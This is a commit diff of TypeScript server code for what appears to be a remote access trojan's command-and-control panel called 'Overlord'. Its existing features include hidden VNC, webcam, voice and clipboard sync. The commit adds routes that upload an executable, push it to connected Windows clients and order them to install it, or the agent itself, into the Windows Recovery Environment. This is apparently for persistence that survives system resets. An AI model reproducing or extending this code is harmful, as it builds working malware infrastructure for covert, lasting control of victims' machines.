WinRE
This commit is contained in:
@@ -76,6 +76,8 @@ export enum AuditAction {
|
||||
ENROLLMENT_DENY = "enrollment_deny",
|
||||
ENROLLMENT_SETTINGS = "enrollment_settings",
|
||||
ENROLLMENT_BULK = "enrollment_bulk",
|
||||
WINRE_INSTALL = "winre_install",
|
||||
WINRE_UNINSTALL = "winre_uninstall",
|
||||
}
|
||||
|
||||
export interface AuditLogEntry {
|
||||
|
||||
@@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
|
||||
import { handleBuildRoutes } from "./server/routes/build-routes";
|
||||
import { handleAssetsRoutes } from "./server/routes/assets-routes";
|
||||
import { handleDeployRoutes } from "./server/routes/deploy-routes";
|
||||
import { handleWinRERoutes } from "./server/routes/winre-routes";
|
||||
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
|
||||
import { handleClientRoutes } from "./server/routes/client-routes";
|
||||
import { handleMiscRoutes } from "./server/routes/misc-routes";
|
||||
@@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
|
||||
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
|
||||
const DATA_DIR = ensureDataDir();
|
||||
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
|
||||
const WINRE_ROOT = path.join(DATA_DIR, "winre");
|
||||
|
||||
const TLS_CERT_PATH = config.tls.certPath;
|
||||
const TLS_KEY_PATH = config.tls.keyPath;
|
||||
@@ -213,6 +215,15 @@ type DeployUpload = {
|
||||
|
||||
const deployUploads = new Map<string, DeployUpload>();
|
||||
|
||||
type WinREUpload = {
|
||||
id: string;
|
||||
path: string;
|
||||
name: string;
|
||||
size: number;
|
||||
};
|
||||
|
||||
const winreUploads = new Map<string, WinREUpload>();
|
||||
|
||||
type NotificationRateState = {
|
||||
lastSent: number;
|
||||
windowStart: number;
|
||||
@@ -326,6 +337,10 @@ async function startServer() {
|
||||
detectUploadOs,
|
||||
normalizeClientOs,
|
||||
},
|
||||
winre: {
|
||||
WINRE_ROOT,
|
||||
winreUploads,
|
||||
},
|
||||
fileDownload: {
|
||||
DATA_DIR,
|
||||
secureHeaders,
|
||||
@@ -508,6 +523,7 @@ async function startServer() {
|
||||
handleUsersRoutes,
|
||||
handleBuildRoutes,
|
||||
handleDeployRoutes,
|
||||
handleWinRERoutes,
|
||||
handleFileDownloadRoutes,
|
||||
handlePluginRoutes,
|
||||
handleMiscRoutes,
|
||||
|
||||
@@ -100,7 +100,9 @@ export type CommandType =
|
||||
| "agent_update"
|
||||
| "clipboard_set"
|
||||
| "clipboard_sync_start"
|
||||
| "clipboard_sync_stop";
|
||||
| "clipboard_sync_stop"
|
||||
| "winre_install"
|
||||
| "winre_uninstall";
|
||||
|
||||
export type Command = {
|
||||
type: "command";
|
||||
|
||||
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
|
||||
handleUsersRoutes: RouteHandlerWithServer<TServer>;
|
||||
handleBuildRoutes: RouteHandlerWithServerDeps<TServer, TBuild>;
|
||||
handleDeployRoutes: RouteHandlerWithServerDeps<TServer, TDeploy>;
|
||||
handleWinRERoutes: RouteHandlerWithServerDeps<TServer, TWinRE>;
|
||||
handleFileDownloadRoutes: RouteHandlerWithServerDeps<TServer, TFileDownload>;
|
||||
handlePluginRoutes: RouteHandlerWithDeps<TPlugin>;
|
||||
handleMiscRoutes: RouteHandlerWithDeps<TMisc>;
|
||||
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
|
||||
notificationsConfig: TNotificationsConfig;
|
||||
build: TBuild;
|
||||
deploy: TDeploy;
|
||||
winre: TWinRE;
|
||||
fileDownload: TFileDownload;
|
||||
plugin: TPlugin;
|
||||
misc: TMisc;
|
||||
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
|
||||
TNotificationsConfig,
|
||||
TBuild,
|
||||
TDeploy,
|
||||
TWinRE,
|
||||
TFileDownload,
|
||||
TPlugin,
|
||||
TMisc,
|
||||
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
|
||||
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
|
||||
if (deployResponse) return deployResponse;
|
||||
|
||||
const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
|
||||
if (winreResponse) return winreResponse;
|
||||
|
||||
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
|
||||
if (fileDownloadResponse) return fileDownloadResponse;
|
||||
|
||||
|
||||
@@ -84,6 +84,7 @@ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
|
||||
{ path: "/webcam", file: "webcam.html" },
|
||||
{ path: "/hvnc", file: "hvnc.html" },
|
||||
{ path: "/voice", file: "voice.html" },
|
||||
{ path: "/winre", file: "winre.html" },
|
||||
];
|
||||
|
||||
/** Client-scoped pages accessed via path /:clientId/feature */
|
||||
|
||||
@@ -0,0 +1,294 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
import { createUploadPull } from "./file-download-routes";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
type WinREUpload = {
|
||||
id: string;
|
||||
path: string;
|
||||
name: string;
|
||||
size: number;
|
||||
};
|
||||
|
||||
type WinRERouteDeps = {
|
||||
WINRE_ROOT: string;
|
||||
winreUploads: Map<string, WinREUpload>;
|
||||
};
|
||||
|
||||
export async function handleWinRERoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
deps: WinRERouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/winre")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = path.basename(file.name || "upload.exe");
|
||||
const id = uuidv4();
|
||||
await fs.mkdir(deps.WINRE_ROOT, { recursive: true });
|
||||
const folder = path.join(deps.WINRE_ROOT, id);
|
||||
await fs.mkdir(folder, { recursive: true });
|
||||
const targetPath = path.join(folder, filename);
|
||||
const bytes = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(targetPath, bytes);
|
||||
|
||||
const entry: WinREUpload = {
|
||||
id,
|
||||
path: targetPath,
|
||||
name: filename,
|
||||
size: bytes.length,
|
||||
};
|
||||
deps.winreUploads.set(id, entry);
|
||||
|
||||
return Response.json({ ok: true, uploadId: id, name: filename, size: bytes.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/install") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const uploadId = typeof body?.uploadId === "string" ? body.uploadId : "";
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (!uploadId || clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const upload = deps.winreUploads.get(uploadId);
|
||||
if (!upload) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
|
||||
const destPath = `${destDir}\\${upload.name}`;
|
||||
|
||||
const pullId = createUploadPull({
|
||||
clientId,
|
||||
filePath: upload.path,
|
||||
fileName: upload.name,
|
||||
size: upload.size,
|
||||
});
|
||||
const pullUrl = `${url.origin}/api/file/upload/pull/${encodeURIComponent(pullId)}`;
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "file_upload_http" as any,
|
||||
id: uuidv4(),
|
||||
payload: { path: destPath, url: pullUrl, total: upload.size },
|
||||
}),
|
||||
);
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_install",
|
||||
id: cmdId,
|
||||
payload: { filePath: destPath },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_install");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_INSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ uploadId, filePath: destPath }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/install-self") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_install",
|
||||
id: cmdId,
|
||||
payload: { useSelf: true },
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_install");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_INSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ useSelf: true }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/winre/uninstall") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const clientIds = Array.isArray(body?.clientIds) ? body.clientIds : [];
|
||||
if (clientIds.length === 0) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) {
|
||||
results.push({ clientId, ok: false, reason: "offline" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_uninstall",
|
||||
id: cmdId,
|
||||
payload: {},
|
||||
}),
|
||||
);
|
||||
|
||||
metrics.recordCommand("winre_uninstall");
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip: server.requestIP(req)?.address || "unknown",
|
||||
action: AuditAction.WINRE_UNINSTALL,
|
||||
targetClientId: clientId,
|
||||
success: true,
|
||||
details: JSON.stringify({ clientId }),
|
||||
});
|
||||
|
||||
results.push({ clientId, ok: true });
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, results });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
Reference in New Issue
Block a user